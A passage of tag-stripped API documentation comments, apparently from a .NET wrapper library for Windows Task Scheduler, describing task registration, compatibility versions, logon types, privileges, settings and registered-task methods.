associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all 